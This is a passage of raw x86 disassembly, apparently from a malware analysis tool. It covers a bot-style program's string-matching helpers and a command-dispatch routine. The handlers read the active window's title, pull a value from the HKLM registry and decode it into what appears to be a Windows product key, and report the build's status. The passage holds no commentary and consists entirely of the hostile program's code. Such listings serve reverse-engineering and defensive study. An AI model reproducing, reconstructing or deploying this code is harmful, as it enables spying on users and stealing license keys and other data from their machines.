[ebp+var_4] inc eax mov [ebp+var_4], eax loc_40A6B6: ; CODE XREF: sub_40A5BE+EFj mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] add eax, [ebp+var_4] push eax call sub_40A5BE pop ecx pop ecx movzx eax, al test eax, eax jz short loc_40A6D4 mov al, 1 jmp short locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A6D4: ; CODE XREF: sub_40A5BE+110j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A6E5 xor al, al jmp short locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A6E5: ; CODE XREF: sub_40A5BE+121j jmp short loc_40A6AF ; --------------------------------------------------------------------------- loc_40A6E7: ; CODE XREF: sub_40A5BE+E9j xor al, al locret_40A6E9: ; CODE XREF: sub_40A5BE+1Aj ; sub_40A5BE+39j ... leave retn sub_40A5BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A6EB proc near ; CODE XREF: sub_4097A7+10Ap ; sub_4098F3+155p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A730 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A70A mov al, 1 jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A70A: ; CODE XREF: sub_40A6EB+16j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40A729 mov eax, [ebp+arg_4] inc eax push eax push [ebp+arg_0] call sub_40A6EB pop ecx pop ecx jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A729: ; CODE XREF: sub_40A6EB+28j xor al, al jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A730: ; CODE XREF: sub_40A6EB+Cj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A741 xor al, al jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A741: ; CODE XREF: sub_40A6EB+4Dj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_4] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_40A767 mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A6EB pop ecx pop ecx jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A767: ; CODE XREF: sub_40A6EB+64j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 41h jl short loc_40A77D mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 5Ah jle short loc_40A793 loc_40A77D: ; CODE XREF: sub_40A6EB+85j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 61h jl short loc_40A7BC mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 7Ah jg short loc_40A7BC loc_40A793: ; CODE XREF: sub_40A6EB+90j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] xor eax, 20h mov ecx, [ebp+arg_4] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_40A7BC mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A6EB pop ecx pop ecx jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A7BC: ; CODE XREF: sub_40A6EB+9Bj ; sub_40A6EB+A6j ... mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 3Fh jnz short loc_40A7DD mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A6EB pop ecx pop ecx jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A7DD: ; CODE XREF: sub_40A6EB+DAj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40A820 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 30h jl short loc_40A7FE mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 39h jle short loc_40A809 loc_40A7FE: ; CODE XREF: sub_40A6EB+106j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40A81C loc_40A809: ; CODE XREF: sub_40A6EB+111j mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A6EB pop ecx pop ecx jmp short locret_40A86B ; --------------------------------------------------------------------------- loc_40A81C: ; CODE XREF: sub_40A6EB+11Cj xor al, al jmp short locret_40A86B ; --------------------------------------------------------------------------- loc_40A820: ; CODE XREF: sub_40A6EB+FBj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40A869 and [ebp+var_4], 0 jmp short loc_40A838 ; --------------------------------------------------------------------------- loc_40A831: ; CODE XREF: sub_40A6EB:loc_40A867j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40A838: ; CODE XREF: sub_40A6EB+144j mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] add eax, [ebp+var_4] push eax call sub_40A6EB pop ecx pop ecx movzx eax, al test eax, eax jz short loc_40A856 mov al, 1 jmp short locret_40A86B ; --------------------------------------------------------------------------- loc_40A856: ; CODE XREF: sub_40A6EB+165j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A867 xor al, al jmp short locret_40A86B ; --------------------------------------------------------------------------- loc_40A867: ; CODE XREF: sub_40A6EB+176j jmp short loc_40A831 ; --------------------------------------------------------------------------- loc_40A869: ; CODE XREF: sub_40A6EB+13Ej xor al, al locret_40A86B: ; CODE XREF: sub_40A6EB+1Aj ; sub_40A6EB+39j ... leave retn sub_40A6EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A86D proc near ; CODE XREF: sub_40A8AD+FDp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov [ebp+var_4], 1 cmp [ebp+arg_4], 0 jnz short loc_40A884 push 1 pop eax jmp short locret_40A8AB ; --------------------------------------------------------------------------- loc_40A884: ; CODE XREF: sub_40A86D+10j mov [ebp+var_8], 1 jmp short loc_40A894 ; --------------------------------------------------------------------------- loc_40A88D: ; CODE XREF: sub_40A86D+39j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40A894: ; CODE XREF: sub_40A86D+1Ej mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] loc_40A89A: ; DATA XREF: BrattyUS:0041AE78o ; BrattyUS:0041AEBCo ... jg short loc_40A8A8 mov eax, [ebp+var_4] imul eax, [ebp+arg_0] mov [ebp+var_4], eax jmp short loc_40A88D ; --------------------------------------------------------------------------- loc_40A8A8: ; CODE XREF: sub_40A86D:loc_40A89Aj mov eax, [ebp+var_4] locret_40A8AB: ; CODE XREF: sub_40A86D+15j leave retn sub_40A86D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A8AD proc near ; CODE XREF: sub_406509+26p ; sub_40A9CF+193Fp ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push esi push edi mov [ebp+var_4], 1 and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_20], 0 mov esi, offset aAbcdef ; "abcdef" lea edi, [ebp+var_1C] movsd movsw movsb mov eax, [ebp+arg_0] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 30h jnz short loc_40A90C mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax mov eax, [ebp+arg_0] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 78h jz short loc_40A905 mov eax, [ebp+arg_0] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 58h jnz short loc_40A90C loc_40A905: ; CODE XREF: sub_40A8AD+48j mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax loc_40A90C: ; CODE XREF: sub_40A8AD+33j ; sub_40A8AD+56j push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_28], eax mov eax, [ebp+var_20] mov [ebp+var_14], eax jmp short loc_40A927 ; --------------------------------------------------------------------------- loc_40A920: ; CODE XREF: sub_40A8AD+116j mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax loc_40A927: ; CODE XREF: sub_40A8AD+71j mov eax, [ebp+var_14] cmp eax, [ebp+var_28] jge loc_40A9C8 mov eax, [ebp+arg_0] add eax, [ebp+var_14] movsx eax, byte ptr [eax] push eax call sub_416DE4 ; tolower pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 30h jl short loc_40A95D cmp [ebp+var_8], 39h jg short loc_40A95D mov eax, [ebp+var_8] sub eax, 30h mov [ebp+var_10], eax jmp short loc_40A9A0 ; --------------------------------------------------------------------------- loc_40A95D: ; CODE XREF: sub_40A8AD+9Dj ; sub_40A8AD+A3j cmp [ebp+var_8], 61h jl short loc_40A99C cmp [ebp+var_8], 66h jg short loc_40A99C and [ebp+var_24], 0 jmp short loc_40A976 ; --------------------------------------------------------------------------- loc_40A96F: ; CODE XREF: sub_40A8AD:loc_40A998j mov eax, [ebp+var_24] inc eax mov [ebp+var_24], eax loc_40A976: ; CODE XREF: sub_40A8AD+C0j mov eax, [ebp+var_24] movsx eax, [ebp+eax+var_1C] test eax, eax jz short loc_40A99A mov eax, [ebp+var_24] movsx eax, [ebp+eax+var_1C] cmp [ebp+var_8], eax jnz short loc_40A998 mov eax, [ebp+var_24] add eax, 0Ah mov [ebp+var_10], eax loc_40A998: ; CODE XREF: sub_40A8AD+E0j jmp short loc_40A96F ; --------------------------------------------------------------------------- loc_40A99A: ; CODE XREF: sub_40A8AD+D3j jmp short loc_40A9A0 ; --------------------------------------------------------------------------- loc_40A99C: ; CODE XREF: sub_40A8AD+B4j ; sub_40A8AD+BAj xor eax, eax jmp short loc_40A9CB ; --------------------------------------------------------------------------- loc_40A9A0: ; CODE XREF: sub_40A8AD+AEj ; sub_40A8AD:loc_40A99Aj mov eax, [ebp+var_28] sub eax, [ebp+var_14] dec eax push eax push 10h call sub_40A86D pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] imul eax, [ebp+var_10] mov ecx, [ebp+var_C] add ecx, eax mov [ebp+var_C], ecx jmp loc_40A920 ; --------------------------------------------------------------------------- loc_40A9C8: ; CODE XREF: sub_40A8AD+80j mov eax, [ebp+var_C] loc_40A9CB: ; CODE XREF: sub_40A8AD+F1j pop edi pop esi leave retn sub_40A8AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A9CF proc near ; CODE XREF: sub_40D871+C95p ; sub_40D871+D9Cp var_6424 = dword ptr -6424h var_6420 = dword ptr -6420h var_641C = dword ptr -641Ch var_6418 = dword ptr -6418h var_6414 = dword ptr -6414h var_6410 = dword ptr -6410h var_640C = dword ptr -640Ch var_6408 = dword ptr -6408h var_6404 = dword ptr -6404h var_6400 = dword ptr -6400h var_63FC = dword ptr -63FCh var_63F8 = dword ptr -63F8h var_63F4 = dword ptr -63F4h var_63F0 = dword ptr -63F0h var_63EC = dword ptr -63ECh var_63E8 = dword ptr -63E8h var_63E4 = dword ptr -63E4h var_63E0 = dword ptr -63E0h var_63DC = dword ptr -63DCh var_63D8 = dword ptr -63D8h var_63D4 = dword ptr -63D4h var_63D0 = dword ptr -63D0h var_63CC = dword ptr -63CCh var_63C8 = dword ptr -63C8h var_63C4 = dword ptr -63C4h var_63C0 = dword ptr -63C0h var_63BC = dword ptr -63BCh var_63B8 = dword ptr -63B8h var_63B4 = word ptr -63B4h var_63B2 = word ptr -63B2h var_63B0 = dword ptr -63B0h var_63A4 = dword ptr -63A4h var_63A0 = byte ptr -63A0h var_639C = dword ptr -639Ch var_6398 = byte ptr -6398h var_6397 = byte ptr -6397h var_6396 = byte ptr -6396h var_6395 = byte ptr -6395h var_6394 = byte ptr -6394h var_6393 = byte ptr -6393h var_6392 = byte ptr -6392h var_6391 = byte ptr -6391h var_6390 = byte ptr -6390h var_638F = byte ptr -638Fh var_638E = byte ptr -638Eh var_638D = byte ptr -638Dh var_638C = dword ptr -638Ch var_6388 = byte ptr -6388h var_5F84 = dword ptr -5F84h var_5F80 = byte ptr -5F80h var_5B7C = dword ptr -5B7Ch var_5B78 = dword ptr -5B78h var_5B74 = byte ptr -5B74h var_5A70 = dword ptr -5A70h var_5A6C = dword ptr -5A6Ch var_5A68 = dword ptr -5A68h var_5A64 = byte ptr -5A64h var_1A64 = dword ptr -1A64h var_1A60 = byte ptr -1A60h var_A60 = dword ptr -0A60h var_A5C = byte ptr -0A5Ch var_A38 = byte ptr -0A38h var_A30 = dword ptr -0A30h var_A2C = dword ptr -0A2Ch var_A28 = dword ptr -0A28h var_A24 = dword ptr -0A24h var_A20 = dword ptr -0A20h var_A1C = dword ptr -0A1Ch var_A18 = byte ptr -0A18h var_9F8 = dword ptr -9F8h var_9F4 = byte ptr -9F4h var_9EF = byte ptr -9EFh var_9EA = byte ptr -9EAh var_9E5 = byte ptr -9E5h var_9E0 = byte ptr -9E0h var_9DB = byte ptr -9DBh var_9D8 = byte ptr -9D8h var_9A4 = byte ptr -9A4h var_970 = byte ptr -970h var_8DC = dword ptr -8DCh var_8D8 = byte ptr -8D8h var_8D3 = byte ptr -8D3h var_8D2 = byte ptr -8D2h var_8CD = byte ptr -8CDh var_8CC = byte ptr -8CCh var_8C7 = byte ptr -8C7h var_8C6 = byte ptr -8C6h var_8C1 = byte ptr -8C1h var_8C0 = byte ptr -8C0h var_8BB = byte ptr -8BBh var_8B8 = byte ptr -8B8h var_8A0 = byte ptr -8A0h var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_718 = byte ptr -718h var_59B = byte ptr -59Bh var_598 = byte ptr -598h var_418 = dword ptr -418h var_414 = byte ptr -414h var_214 = byte ptr -214h var_1F0 = byte ptr -1F0h var_1CC = byte ptr -1CCh var_1A8 = dword ptr -1A8h var_1A4 = byte ptr -1A4h var_183 = byte ptr -183h var_83 = dword ptr -83h var_7F = byte ptr -7Fh var_19 = byte ptr -19h var_B = byte ptr -0Bh var_8 = byte ptr -8 var_5 = dword ptr -5 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp mov eax, 6424h call sub_416BC0 push esi push edi mov eax, [ebp+arg_14] push dword ptr [eax] call sub_40ED38 pop ecx mov [ebp+var_1A8], eax push [ebp+arg_0] lea eax, [ebp+var_1A4] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push [ebp+arg_8] lea eax, [ebp+var_183] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+arg_C] mov [ebp+var_83], eax push 7Ah push [ebp+arg_10] lea eax, [ebp+var_7F] push eax call sub_416B52 ; memcpy add esp, 0Ch mov [ebp+var_5], 1 mov eax, [ebp+var_1A8] sub eax, dword_419F18 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40AA59 lea eax, [ebp+var_1A4] push eax call sub_415AF0 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AA59: ; CODE XREF: sub_40A9CF+76j mov eax, [ebp+var_1A8] sub eax, dword_419F0C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40AACF mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40AAAC lea eax, [ebp+var_214] push eax lea eax, [ebp+var_1F0] push eax lea eax, [ebp+var_1CC] push eax call sub_40668F add esp, 0Ch lea eax, [ebp+var_1CC] push eax push offset dword_419F04 call sub_40D6CB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AAAC: ; CODE XREF: sub_40A9CF+A6j mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_40D7E5 pop ecx mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_419F04 call sub_40D6CB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AACF: ; CODE XREF: sub_40A9CF+9Dj mov eax, [ebp+var_1A8] sub eax, dword_419EF8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40AB21 push 200h lea eax, [ebp+var_414] push eax call dword_4171D8 ; GetForegroundWindow push eax call dword_4171E4 ; GetWindowTextA test eax, eax jle short loc_40AB1C lea eax, [ebp+var_414] push eax push offset dword_419EDC lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40AB1C: ; CODE XREF: sub_40A9CF+130j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AB21: ; CODE XREF: sub_40A9CF+113j mov eax, [ebp+var_1A8] sub eax, dword_419ED0 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40AB56 mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_4077DD add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AB56: ; CODE XREF: sub_40A9CF+165j mov eax, [ebp+var_1A8] sub eax, dword_419EC4 neg eax sbb eax, eax inc eax test eax, eax jz loc_40AC89 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jz loc_40AC84 push 180h mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_598] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_598] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_418], eax cmp [ebp+var_418], 3 jle short loc_40ABFE push offset dword_419EC0 mov eax, [ebp+var_418] lea eax, [ebp+eax+var_59B] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_40ABFE mov eax, [ebp+var_418] and [ebp+eax+var_59B], 0 lea eax, [ebp+var_598] push eax call sub_4078A0 pop ecx lea eax, [ebp+var_598] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_418], eax loc_40ABFE: ; CODE XREF: sub_40A9CF+1E1j ; sub_40A9CF+1FFj mov eax, [ebp+var_418] cdq push 4 pop ecx idiv ecx mov ecx, [ebp+var_418] sub ecx, eax cmp ecx, 180h jbe short loc_40AC1F jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AC1F: ; CODE XREF: sub_40A9CF+249j push [ebp+var_418] lea eax, [ebp+var_598] push eax call sub_40EF29 pop ecx pop ecx push [ebp+var_418] lea eax, [ebp+var_598] push eax call sub_40EF59 pop ecx pop ecx mov [ebp+var_418], eax push [ebp+var_418] lea eax, [ebp+var_718] push eax lea eax, [ebp+var_598] push eax call sub_40EB4E add esp, 0Ch lea eax, [ebp+var_718] push eax push offset dword_419E9C lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40AC84: ; CODE XREF: sub_40A9CF+1A7j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AC89: ; CODE XREF: sub_40A9CF+19Aj mov eax, [ebp+var_1A8] sub eax, dword_419E90 neg eax sbb eax, eax inc eax test eax, eax jz loc_40AD84 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jz loc_40AD7F mov eax, [ebp+arg_18] mov eax, [eax+4] movsx eax, byte ptr [eax] cmp eax, 3Dh jnz loc_40AD7F mov eax, [ebp+arg_18] mov eax, [eax+4] inc eax push eax call sub_40EC96 pop ecx test eax, eax jz loc_40AD7F mov eax, [ebp+arg_18] mov eax, [eax+4] inc eax push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_71C], eax mov eax, [ebp+var_71C] cdq push 4 pop ecx idiv ecx mov ecx, [ebp+var_71C] sub ecx, eax cmp ecx, 180h jbe short loc_40AD0C jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AD0C: ; CODE XREF: sub_40A9CF+336j lea eax, [ebp+var_8A0] push eax mov eax, [ebp+arg_18] mov eax, [eax+4] inc eax push eax call sub_40E9C9 pop ecx pop ecx mov [ebp+var_720], eax push [ebp+var_720] lea eax, [ebp+var_8A0] push eax call sub_40F040 pop ecx pop ecx mov [ebp+var_720], eax push [ebp+var_720] lea eax, [ebp+var_8A0] push eax call sub_40EF41 pop ecx pop ecx mov eax, [ebp+var_720] and [ebp+eax+var_8A0], 0 lea eax, [ebp+var_8A0] push eax push offset dword_419E70 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40AD7F: ; CODE XREF: sub_40A9CF+2DAj ; sub_40A9CF+2ECj ... jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AD84: ; CODE XREF: sub_40A9CF+2CDj mov eax, [ebp+var_1A8] sub eax, dword_419E60 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40ADB2 mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_406643 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40ADB2: ; CODE XREF: sub_40A9CF+3C8j mov eax, [ebp+var_1A8] sub eax, dword_419E50 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40ADD9 lea eax, [ebp+var_1A4] push eax call sub_4064BF pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40ADD9: ; CODE XREF: sub_40A9CF+3F6j mov eax, [ebp+var_1A8] sub eax, dword_419E48 neg eax sbb eax, eax inc eax test eax, eax jz loc_40B0B6 and [ebp+var_9F8], 0 mov [ebp+var_A1C], 0C8h push 0Ch pop ecx mov esi, offset aKnqQxjnuXxQEBZ ; "ߕ帚ɟËӋ"... lea edi, [ebp+var_9D8] rep movsd movsb push 5 pop ecx mov esi, offset dword_419DFC lea edi, [ebp+var_8B8] rep movsd movsb lea eax, [ebp+var_9D8] push eax call sub_4105FB pop ecx lea eax, [ebp+var_9F8] push eax push 20019h push 0 lea eax, [ebp+var_9D8] push eax push 80000002h call dword_417008 ; RegOpenKeyExA test eax, eax jz short loc_40AE7D lea eax, [ebp+var_9D8] push eax call sub_4105AD pop ecx cmp [ebp+var_9F8], 0 jz short loc_40AE78 push [ebp+var_9F8] call dword_417028 ; RegCloseKey loc_40AE78: ; CODE XREF: sub_40A9CF+49Bj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AE7D: ; CODE XREF: sub_40A9CF+485j lea eax, [ebp+var_9D8] push eax call sub_4105AD pop ecx lea eax, [ebp+var_8B8] push eax call sub_4105FB pop ecx lea eax, [ebp+var_A1C] push eax lea eax, [ebp+var_9A4] push eax push 0 push 0 lea eax, [ebp+var_8B8] push eax push [ebp+var_9F8] call dword_41700C ; RegQueryValueExA test eax, eax jz short loc_40AEE7 lea eax, [ebp+var_8B8] push eax call sub_4105AD pop ecx cmp [ebp+var_9F8], 0 jz short loc_40AEE2 push [ebp+var_9F8] call dword_417028 ; RegCloseKey loc_40AEE2: ; CODE XREF: sub_40A9CF+505j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AEE7: ; CODE XREF: sub_40A9CF+4EFj lea eax, [ebp+var_8B8] push eax call sub_4105AD pop ecx push [ebp+var_9F8] call dword_417028 ; RegCloseKey push 7 pop ecx mov esi, offset dword_419DDC lea edi, [ebp+var_A18] rep movsd movsb lea eax, [ebp+var_A18] push eax call sub_4105FB pop ecx and [ebp+var_9DB], 0 mov [ebp+var_8DC], 18h jmp short loc_40AF3E ; --------------------------------------------------------------------------- loc_40AF31: ; CODE XREF: sub_40A9CF+60Bj mov eax, [ebp+var_8DC] dec eax mov [ebp+var_8DC], eax loc_40AF3E: ; CODE XREF: sub_40A9CF+560j cmp [ebp+var_8DC], 0 jl loc_40AFDF and [ebp+var_A20], 0 mov [ebp+var_A24], 0Eh jmp short loc_40AF6B ; --------------------------------------------------------------------------- loc_40AF5E: ; CODE XREF: sub_40A9CF+5EFj mov eax, [ebp+var_A24] dec eax mov [ebp+var_A24], eax loc_40AF6B: ; CODE XREF: sub_40A9CF+58Dj cmp [ebp+var_A24], 0 jl short loc_40AFC0 mov eax, [ebp+var_A20] shl eax, 8 mov ecx, [ebp+var_A24] movzx ecx, [ebp+ecx+var_970] add eax, ecx mov [ebp+var_A20], eax mov eax, [ebp+var_A20] cdq push 18h pop ecx idiv ecx mov ecx, [ebp+var_A24] mov [ebp+ecx+var_970], al mov eax, [ebp+var_A20] cdq push 18h pop ecx idiv ecx mov [ebp+var_A20], edx jmp short loc_40AF5E ; --------------------------------------------------------------------------- loc_40AFC0: ; CODE XREF: sub_40A9CF+5A3j mov eax, [ebp+var_8DC] mov ecx, [ebp+var_A20] mov cl, [ebp+ecx+var_A18] mov [ebp+eax+var_9F4], cl jmp loc_40AF31 ; --------------------------------------------------------------------------- loc_40AFDF: ; CODE XREF: sub_40A9CF+576j lea eax, [ebp+var_A18] push eax call sub_4105AD pop ecx and [ebp+var_8BB], 0 mov [ebp+var_8C1], 2Dh mov al, [ebp+var_8C1] mov [ebp+var_8C7], al mov al, [ebp+var_8C7] mov [ebp+var_8CD], al mov al, [ebp+var_8CD] mov [ebp+var_8D3], al push 5 lea eax, [ebp+var_9F4] push eax lea eax, [ebp+var_8D8] push eax call sub_416B52 ; memcpy add esp, 0Ch push 5 lea eax, [ebp+var_9EF] push eax lea eax, [ebp+var_8D2] push eax call sub_416B52 ; memcpy add esp, 0Ch push 5 lea eax, [ebp+var_9EA] push eax lea eax, [ebp+var_8CC] push eax call sub_416B52 ; memcpy add esp, 0Ch push 5 lea eax, [ebp+var_9E5] push eax lea eax, [ebp+var_8C6] push eax call sub_416B52 ; memcpy add esp, 0Ch push 5 lea eax, [ebp+var_9E0] push eax lea eax, [ebp+var_8C0] push eax call sub_416B52 ; memcpy add esp, 0Ch lea eax, [ebp+var_8D8] push eax push offset dword_418B64 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B0B6: ; CODE XREF: sub_40A9CF+41Dj mov eax, [ebp+var_1A8] sub eax, dword_419DCC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B11C mov [ebp+var_8], 1 movsx eax, [ebp+var_19] test eax, eax jz short loc_40B0E6 lea eax, [ebp+var_1A4] push eax call sub_411D68 pop ecx jmp short loc_40B117 ; --------------------------------------------------------------------------- loc_40B0E6: ; CODE XREF: sub_40A9CF+706j movsx eax, [ebp+var_B] test eax, eax jz short loc_40B0FD lea eax, [ebp+var_1A4] push eax call sub_4123F6 pop ecx jmp short loc_40B117 ; --------------------------------------------------------------------------- loc_40B0FD: ; CODE XREF: sub_40A9CF+71Dj lea eax, [ebp+var_1A4] push eax call sub_411D68 pop ecx lea eax, [ebp+var_1A4] push eax call sub_4123F6 pop ecx loc_40B117: ; CODE XREF: sub_40A9CF+715j ; sub_40A9CF+72Cj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B11C: ; CODE XREF: sub_40A9CF+6FAj mov eax, [ebp+var_1A8] sub eax, dword_419DBC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B143 lea eax, [ebp+var_1A4] push eax call sub_414EB0 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B143: ; CODE XREF: sub_40A9CF+760j mov eax, [ebp+var_1A8] sub eax, dword_419DB0 neg eax sbb eax, eax inc eax test eax, eax jz loc_40B247 push 8 pop ecx mov esi, offset dword_419D8C lea edi, [ebp+var_A5C] rep movsd movsb mov esi, offset dword_419D84 lea edi, [ebp+var_A38] movsd movsw movsx eax, [ebp+var_A38] mov ecx, off_41DB18 movsx ecx, byte ptr [ecx] sub eax, ecx neg eax sbb eax, eax inc eax mov [ebp+var_A30], eax cmp [ebp+var_A30], 0 jz short loc_40B1AD mov [ebp+var_63E4], offset dword_419D78 jmp short loc_40B1B7 ; --------------------------------------------------------------------------- loc_40B1AD: ; CODE XREF: sub_40A9CF+7D0j mov [ebp+var_63E4], offset dword_419D68 loc_40B1B7: ; CODE XREF: sub_40A9CF+7DCj mov eax, [ebp+var_63E4] mov [ebp+var_A28], eax cmp [ebp+var_A30], 0 jz short loc_40B1D8 mov [ebp+var_63E8], offset aThisBuildIsFul ; "This build is fully functional" jmp short loc_40B1E2 ; --------------------------------------------------------------------------- loc_40B1D8: ; CODE XREF: sub_40A9CF+7FBj mov [ebp+var_63E8], offset aThisBuildIsBro ; "This build is broken and will not funct"... loc_40B1E2: ; CODE XREF: sub_40A9CF+807j mov eax, [ebp+var_63E8] mov [ebp+var_A2C], eax lea eax, [ebp+var_A5C] push eax call sub_4105FB pop ecx push [ebp+var_A2C] push [ebp+var_A28] mov eax, dword_41ED00 and eax, 0FFFFh push eax movsx eax, byte ptr dword_41DAF8 and eax, 0FFh push eax lea eax, [ebp+var_A5C] push eax lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 18h lea eax, [ebp+var_A5C] push eax call sub_4105AD pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B247: ; CODE XREF: sub_40A9CF+787j mov eax, [ebp+var_1A8] sub eax, dword_419D08 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B28E mov eax, [ebp+arg_14] push dword ptr [eax+14h] mov eax, [ebp+arg_14] push dword ptr [eax+10h] mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_405E45 add esp, 18h jmp loc_40C912 ; 